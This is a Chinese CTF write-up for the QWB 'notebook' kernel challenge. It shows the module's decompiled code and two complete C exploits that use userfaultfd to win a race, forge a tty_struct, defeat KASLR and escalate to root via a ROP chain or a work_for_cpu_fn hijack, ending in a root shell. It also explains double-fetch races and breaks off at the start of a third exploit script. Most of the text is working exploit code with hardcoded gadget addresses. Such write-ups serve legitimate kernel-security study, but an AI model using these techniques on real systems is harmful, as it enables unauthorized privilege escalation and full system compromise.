/ $ cat /sys/devices/system/cpu/vulnerabilities/*
Mitigation: PTI
Mitigation: __user pointer sanitization
Mitigation: Full generic retpoline

文件系统启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/sh
/bin/mount -t devtmpfs devtmpfs /dev
chown root:tty /dev/console
chown root:tty /dev/ptmx
chown root:tty /dev/tty
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts

mount -t proc proc /proc
mount -t sysfs sysfs /sys

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

ifup eth0 > /dev/null 2>/dev/null

insmod notebook.ko
cat /proc/modules | grep notebook > /tmp/moduleaddr
chmod 777 /tmp/moduleaddr
chmod 777 /dev/notebook
echo "Welcome to QWB!"

#sh
setsid cttyhack setuidgid 0000 sh

umount /proc
umount /sys

poweroff -d 1 -n -f

这道题虽然是堆喷,但是最关键的还是条件竞争,而且是我现在水平来看是比较难以察觉但是理解了又觉得十分厉害的利用,条件竞争主要还是使用copy函数,漏洞就出在addedit函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
__int64 __fastcall noteedit(size_t idx, size_t newsize, void *buf)
{
__int64 v3; // rdx
__int64 v4; // r13
note *v5; // rbx
size_t size; // rax
__int64 v7; // r12
__int64 v8; // rbx

_fentry__(idx);
if ( idx > 0xF )
{
v8 = -1LL;
printk("[x] Edit idx out of range.\n", newsize);
return v8;
}
v4 = v3;
v5 = &notebook[idx];
raw_read_lock(&lock);
size = v5->size;
v5->size = newsize;
if ( size == newsize )
{
v8 = 1LL;
goto editout;
}
v7 = (*(__int64 (__fastcall **)(void *, size_t, __int64))krealloc.gap0)(v5->note, newsize, 37748928LL);
copy_from_user(name, v4, 0x100LL);
if ( !v5->size )
{
printk("free in fact");
v5->note = 0LL;
v8 = 0LL;
goto editout;
}
if ( (unsigned __int8)_virt_addr_valid(v7) )
{
v5->note = (void *)v7;
v8 = 2LL;
editout:
raw_read_unlock(&lock);
printk("[o] Edit success. %s edit a note.\n", name);
return v8;
}
printk("[x] Return ptr unvalid.\n");
raw_read_unlock(&lock);
return 3LL;
}

__int64 __fastcall noteadd(size_t idx, size_t size, void *buf)
{
__int64 v3; // rdx
__int64 v4; // r13
note *v5; // rbx
size_t v6; // r14
__int64 v7; // rdx
__int64 v8; // rbx

_fentry__(idx, size, buf);
if ( idx > 0xF )
{
v8 = -1LL;
printk("[x] Add idx out of range.\n");
}
else
{
v4 = v3;
v5 = &notebook[idx];
raw_read_lock(&lock);
v6 = v5->size;
v5->size = size;
if ( size > 0x60 )
{
v5->size = v6;
v8 = -2LL;
printk("[x] Add size out of range.\n");
}
else
{
copy_from_user(name, v4, 0x100LL);
if ( v5->note )
{
v5->size = v6;
v8 = -3LL;
printk("[x] Add idx is not empty.\n", v4, v7);
}
else
{
v5->note = (void *)_kmalloc(size, 37748928LL);
printk("[+] Add success. %s left a note.\n", name);
v8 = 0LL;
}
}
raw_read_unlock(&lock);
}
return v8;
}

解法一:userfaultfd+uaf+tty_struct+rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <linux/tty.h>
#define tty_struct_size 0x2e0
#define ptm_unix98_ops_offset 0xe8e440
#define pty_unix98_ops_offset 0xe8e320
#define push_rdi_pop_rsp_pop_rbp_add_rax_rdx_ret 0xffffffff81238d50
#define push_rdx_add_byte_r11_0x41_r11b_pop_rsp_pop_rbp_ret 0xffffffff8170dd41
#define commit_creds 0xffffffff810a9b40
#define init_cred 0xffffffff8225c940
#define swapgs_restore_regs_and_return_to_usermode 0xffffffff81a00929
#define pop_rdi_ret 0xffffffff81007115
#define pop_rdx_pop_rbp_ret 0xffffffff8103658c
#define push_rdi_pop_rsp_pop_rbp_or_eax_edx_ret 0xffffffff8143f4e1
#define pop_rsp_ret 0xffffffff810bc110
#define ret 0xffffffff81000091
#define prepare_kernel_cred 0xffffffff810a9ef0
#define mov_rdi_rax_call_rdx 0xffffffff8270747f
#define pop_rdx_ret 0xffffffff81358842
#define MOV_RDI_RAX_POP_RBP_RET 0xffffffff81045833


size_t vmlinux_nokaslr_addr=0xffffffff81000000;
size_t kernel_base=0;
size_t user_cs,user_ss,user_rflags,user_sp;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void usr_shell(){
puts("getshelling");
if(getuid()==0){
puts("[*]----getshell ok");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}


char *page;
size_t page_size;
static pthread_t monitor_thread;
void errExit(char *msg){
puts(msg);
exit(0);
}
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}

static void *
fault_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

sleep(1000);

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}



typedef struct
{
size_t idx;
size_t size;
char * buf;
}Userarg;

int note_fd;
char *userfaultfd_buf;
size_t page_size;

void add(int note_fd,size_t idx,size_t size,char *buf){
Userarg userarg={
.idx=idx,
.buf=buf,
.size=size
};
ioctl(note_fd,0x100,&userarg);
}

void edit(int note_fd,size_t idx,size_t size,char *buf){
Userarg userarg={
.idx=idx,
.buf=buf,
.size=size
};
ioctl(note_fd,0x300,&userarg);
}

void gift(int note_fd,char *buf){
Userarg useraeg={
.buf=buf
};
ioctl(note_fd,0x64,&useraeg);
}

void edit_userfaultfd(int idx){
edit(note_fd,idx,0x2000,userfaultfd_buf);
}

void add_userfaultfd(int idx){
add(note_fd,idx,0x50,userfaultfd_buf);
}


struct file_operations;
struct tty_struct;
struct tty_driver;
struct serial_icounter_struct;

struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
const struct file_operations *proc_fops;
};


typedef struct {
char *buf;
size_t idx;
}Notebook;
int main(){
saveStatus();
size_t tty_struct[0x200]={0};
int tty_fd[0x100]={0};
pthread_t tid;
note_fd=open("/dev/notebook", O_RDWR);

char name[0x200];
Notebook notebook[0x10];
page_size=sysconf(_SC_PAGE_SIZE);
userfaultfd_buf=mmap(NULL,page_size,PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
page=malloc(page_size);
memset(page,1,page_size);
registerUserFaultFd(userfaultfd_buf,page_size,fault_handler_thread);
for(int i=0;i<0x10;i++){
edit(note_fd,i,0x2e0,name);
}
sleep(1);

for(int i=0;i<0x10;i++){
pthread_create(&tid,NULL,edit_userfaultfd,i);
}
sleep(3);
for(int i=0;i<0x100;i++){
tty_fd[i]=open("/dev/ptmx",O_RDWR | O_NOCTTY);
if(!tty_fd[i]){
errExit("ptmx open fail");
}
}
sleep(1);

for(int i=0;i<0x10;i++){
pthread_create(&tid,NULL,add_userfaultfd,i);
}
sleep(3);

int fake_tty_ops_idx=-1,rop_idx=-1;
for(int i=0;i<0x10;i++){
read(note_fd,tty_struct,i);
unsigned int magic=*(unsigned int *)tty_struct;
if(magic!=0x5401){
if(fake_tty_ops_idx==-1){
fake_tty_ops_idx=i;
printf("[*] fake_tty_ops_idx %d\n",fake_tty_ops_idx=i);
}else{
printf("[*] rop_idx %d\n",rop_idx=i);
break;
}
}
}
if(fake_tty_ops_idx==-1||rop_idx==-1){
errExit("fake_tty_ops_idx or rop_idx find fail");
}

int uaf_tty=-1;
for(int i=0;i<0x10;i++){
read(note_fd,tty_struct,i);
unsigned int magic=*(unsigned int *)tty_struct;
if(magic==0x5401){
printf("[*] uaf_idx %d\n",uaf_tty=i);
break;
}
}
if(uaf_tty==-1){
errExit("not uaf_tty");
}
size_t tty_ops=tty_struct[3];
if((tty_ops&0xfff)==0x440){
kernel_base=tty_ops-ptm_unix98_ops_offset;
}else{
kernel_base=tty_ops-pty_unix98_ops_offset;
}
printf("\033[34m\033[1m[*] kernel_addr %p\033[0m\n",kernel_base);

edit(note_fd,fake_tty_ops_idx,0x200,name);
edit(note_fd,rop_idx,0x200,name);
gift(note_fd,notebook);
size_t init_cred_addr=init_cred-vmlinux_nokaslr_addr+kernel_base;
size_t commit_creds_addr=commit_creds-vmlinux_nokaslr_addr+kernel_base;
size_t swapgs_restore_regs_and_return_to_usermode_addr=swapgs_restore_regs_and_return_to_usermode-vmlinux_nokaslr_addr+kernel_base;
size_t pop_rdi_ret_addr=pop_rdi_ret-vmlinux_nokaslr_addr+kernel_base;
size_t pop_rdx_pop_rbp_ret_addr=pop_rdx_pop_rbp_ret-vmlinux_nokaslr_addr+kernel_base;
size_t fake_tty_ops[64]={0};
size_t fake_tty_ops_addr=notebook[fake_tty_ops_idx].buf;
size_t rop_addr=notebook[rop_idx].buf;
size_t fake_tty_struct[10]={0};
memcpy(fake_tty_struct,tty_struct,0x50);
size_t rop[64]={0};
fake_tty_struct[3]=fake_tty_ops_addr;
fake_tty_struct[1]=pop_rsp_ret-vmlinux_nokaslr_addr+kernel_base;
fake_tty_struct[2]=rop_addr;

((struct tty_operations *)fake_tty_ops)->write=push_rdi_pop_rsp_pop_rbp_or_eax_edx_ret-vmlinux_nokaslr_addr+kernel_base;



int i=0;
rop[i++]=pop_rdi_ret-vmlinux_nokaslr_addr+kernel_base;
rop[i++]=0;
rop[i++]=prepare_kernel_cred-vmlinux_nokaslr_addr+kernel_base;
rop[i++]=MOV_RDI_RAX_POP_RBP_RET-vmlinux_nokaslr_addr+kernel_base;
rop[i++]=0;
rop[i++]=commit_creds-vmlinux_nokaslr_addr+kernel_base;
rop[i++]=swapgs_restore_regs_and_return_to_usermode_addr+22;
rop[i++]=0;
rop[i++]=0;
rop[i++]=(size_t)&usr_shell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;


write(note_fd,fake_tty_ops,fake_tty_ops_idx);
write(note_fd,rop,rop_idx);
write(note_fd,fake_tty_struct,uaf_tty);
printf("getshell :%p\n",usr_shell);
for(int i=0;i<0x100;i++){
write(tty_fd[i],name,0x100);
}
}

解法二:userfaultfd+uaf+tty_struct+work_for_cpu_fn

在开启了多核支持的内核中都会有这个work_for_cpu_fn,它就相当于一个gadget,执行rdi+0x20,参数是rdi+0x28,把返回值保存在rdi+0x30的地方,假如我控制tty_structtty_operations的的ioctl函数指针为work_for_cpu_fn,在调用ioctl(tty_fd,0x200,0x200)就会调用tty_operationsioctl也就是work_for_cpu_fn函数,此时rdi就是tty_struct,而此时tty_struct能劫持的话就能任意函数执行了,我们可以执行prepare_kernel_cred(0)然后把返回值存储在tty_struct+0x30的地方,执行完work_for_cpu_fn之后内核自动返回用户态,就不用我们自己构造了,然后再执行一次commit_creds(tty_struct+0x30)就可以得到root权限了,最后返回用户态执行system("/bin/sh");

1
2
3
4
5
6
7
8
9
10
11
12
13
struct work_for_cpu {
struct work_struct work;
long (*fn)(void *);
void *arg;
long ret;
};

static void work_for_cpu_fn(struct work_struct *work)
{
struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);

wfc->ret = wfc->fn(wfc->arg);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <linux/tty.h>
#define tty_struct_size 0x2e0
#define ptm_unix98_ops_offset 0xe8e440
#define pty_unix98_ops_offset 0xe8e320
#define push_rdi_pop_rsp_pop_rbp_add_rax_rdx_ret 0xffffffff81238d50
#define push_rdx_add_byte_r11_0x41_r11b_pop_rsp_pop_rbp_ret 0xffffffff8170dd41
#define commit_creds 0xffffffff810a9b40
#define init_cred 0xffffffff8225c940
#define swapgs_restore_regs_and_return_to_usermode 0xffffffff81a00929
#define pop_rdi_ret 0xffffffff81007115
#define pop_rdx_pop_rbp_ret 0xffffffff8103658c
#define push_rdi_pop_rsp_pop_rbp_or_eax_edx_ret 0xffffffff8143f4e1
#define pop_rsp_ret 0xffffffff810bc110
#define ret 0xffffffff81000091
#define prepare_kernel_cred 0xffffffff810a9ef0
#define mov_rdi_rax_call_rdx 0xffffffff8270747f
#define pop_rdx_ret 0xffffffff81358842
#define MOV_RDI_RAX_POP_RBP_RET 0xffffffff81045833
#define work_for_cpu_fn 0xffffffff8109eb90





size_t vmlinux_nokaslr_addr=0xffffffff81000000;
size_t kernel_base=0;
size_t user_cs,user_ss,user_rflags,user_sp;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void usr_shell(){
puts("getshelling");
if(getuid()==0){
puts("[*]----getshell ok");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}


char *page;
size_t page_size;
static pthread_t monitor_thread;
void errExit(char *msg){
puts(msg);
exit(0);
}
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}

char *page;

static void *
fault_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

sleep(1000);

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}



typedef struct
{
size_t idx;
size_t size;
char * buf;
}Userarg;

int note_fd;
char *userfaultfd_buf;
size_t page_size;

void add(int note_fd,size_t idx,size_t size,char *buf){
Userarg userarg={
.idx=idx,
.buf=buf,
.size=size
};
ioctl(note_fd,0x100,&userarg);
}

void edit(int note_fd,size_t idx,size_t size,char *buf){
Userarg userarg={
.idx=idx,
.buf=buf,
.size=size
};
ioctl(note_fd,0x300,&userarg);
}

void gift(int note_fd,char *buf){
Userarg useraeg={
.buf=buf
};
ioctl(note_fd,0x64,&useraeg);
}

void edit_userfaultfd(int idx){
edit(note_fd,idx,0x2000,userfaultfd_buf);
}

void add_userfaultfd(int idx){
add(note_fd,idx,0x50,userfaultfd_buf);
}


struct file_operations;
struct tty_struct;
struct tty_driver;
struct serial_icounter_struct;

struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
const struct file_operations *proc_fops;
};


typedef struct {
char *buf;
size_t idx;
}Notebook;

int main(){
saveStatus();
size_t tty_struct[0x200]={0};
int tty_fd[0x100]={0};
pthread_t tid;
note_fd=open("/dev/notebook", O_RDWR);

char name[0x200];
Notebook notebook[0x10];
page_size=sysconf(_SC_PAGE_SIZE);
userfaultfd_buf=mmap(NULL,page_size,PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
page=malloc(page_size);
memset(page,1,page_size);
registerUserFaultFd(userfaultfd_buf,page_size,fault_handler_thread);
for(int i=0;i<0x10;i++){
edit(note_fd,i,0x2e0,name);
}
sleep(1);

for(int i=0;i<0x10;i++){
pthread_create(&tid,NULL,edit_userfaultfd,i);
}
sleep(3);
for(int i=0;i<0x100;i++){
tty_fd[i]=open("/dev/ptmx",O_RDWR | O_NOCTTY);
if(!tty_fd[i]){
errExit("ptmx open fail");
}
}
sleep(1);

for(int i=0;i<0x10;i++){
pthread_create(&tid,NULL,add_userfaultfd,i);
}
sleep(3);

int fake_tty_ops_idx=-1;
for(int i=0;i<0x10;i++){
read(note_fd,tty_struct,i);
unsigned int magic=*(unsigned int *)tty_struct;
if(magic!=0x5401){
if(fake_tty_ops_idx==-1){
fake_tty_ops_idx=i;
printf("[*] fake_tty_ops_idx %d\n",fake_tty_ops_idx=i);
break;
}
}
}
if(fake_tty_ops_idx==-1){
errExit("fake_tty_ops_idx find fail");
}

int uaf_tty=-1;
for(int i=0;i<0x10;i++){
read(note_fd,tty_struct,i);
unsigned int magic=*(unsigned int *)tty_struct;
if(magic==0x5401){
printf("[*] uaf_idx %d\n",uaf_tty=i);
break;
}
}
if(uaf_tty==-1){
errExit("not uaf_tty");
}
size_t tty_ops=tty_struct[3];
if((tty_ops&0xfff)==0x440){
kernel_base=tty_ops-ptm_unix98_ops_offset;
}else{
kernel_base=tty_ops-pty_unix98_ops_offset;
}
printf("\033[34m\033[1m[*] kernel_addr %p\033[0m\n",kernel_base);

edit(note_fd,fake_tty_ops_idx,0x200,name);
gift(note_fd,notebook);
size_t init_cred_addr=init_cred-vmlinux_nokaslr_addr+kernel_base;
size_t commit_creds_addr=commit_creds-vmlinux_nokaslr_addr+kernel_base;
size_t swapgs_restore_regs_and_return_to_usermode_addr=swapgs_restore_regs_and_return_to_usermode-vmlinux_nokaslr_addr+kernel_base;
size_t pop_rdi_ret_addr=pop_rdi_ret-vmlinux_nokaslr_addr+kernel_base;
size_t pop_rdx_pop_rbp_ret_addr=pop_rdx_pop_rbp_ret-vmlinux_nokaslr_addr+kernel_base;
size_t fake_tty_ops[64]={0};
size_t fake_tty_ops_addr=notebook[fake_tty_ops_idx].buf;
size_t fake_tty_struct[10]={0};
memcpy(fake_tty_struct,tty_struct,0x50);
size_t rop[64]={0};
fake_tty_struct[3]=fake_tty_ops_addr;
fake_tty_struct[4]=prepare_kernel_cred-vmlinux_nokaslr_addr+kernel_base;
fake_tty_struct[5]=0;

((struct tty_operations *)fake_tty_ops)->ioctl=work_for_cpu_fn-vmlinux_nokaslr_addr+kernel_base;

write(note_fd,fake_tty_ops,fake_tty_ops_idx);
write(note_fd,fake_tty_struct,uaf_tty);
for(int i=0;i<0x100;i++){
ioctl(tty_fd[i],0x200,0x200);
}


read(note_fd,fake_tty_struct,uaf_tty);
size_t cred=fake_tty_struct[6];
printf("[*] root_cred: %p\n",cred);
printf("[*] prepare_kernel_cred: %p\n",fake_tty_struct[4]);
fake_tty_struct[5]=cred;
fake_tty_struct[4]=commit_creds-vmlinux_nokaslr_addr+kernel_base;
write(note_fd,fake_tty_struct,uaf_tty);
for(int i=0;i<0x100;i++){
ioctl(tty_fd[i],0x200,0x200);
}
system("/bin/sh");
}

解法二看别人博客是稳定性更好,但是我跑好几次才能成功一次,远没有解法一来的稳定,想深究就得嗯调(不知道代码在哪),哎。

这道题debug了快两天,其中比较坑的是就是关于tty_structtty_operations的伪造了,tty_struct如果伪造的有问题的话就会直接引起kernel painc,所以得memcpy(fake_tty_struct,tty_struct,0x50)然后再伪造成功率高一些(关键是找不到这块的源码在哪,不能看代码分析,只能嗯调,还是太菜了)。然后是关于tty_operation的伪造,本来的想法是直接在tty_operation上构造好完整的rop执行得了,但是一旦在write指针后面写东西的话就会崩掉。最后也只能跳到一个堆上再执行rop了。关键还是自己对内核不熟悉,就算想看代码都不知道在哪,非常折磨人,学完内核利用的基础知识点之后得赶紧把内核学习和内核代码阅读提上日程了。

总结:通过这道题真的能感觉到内核利用中同步引发的条件竞争的魅力,代码看着完全没有问题,但是通过阻塞就能硬生生构造出一个uaf,死高一,以后在漏洞利用的时候要多注意注意条件竞争。

条件竞争

double fetch

取值两次,第一次进行合法效验,第二次进行数据操作,在这两次中间可以通过多线程改变数据的值,进而让第一次效验失效传入恶意数据。

例题 0CTF2018 Final - baby kernel

这道题之前做过直接放脚本了

脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include<string.h>
#include <pthread.h>
#include <unistd.h>
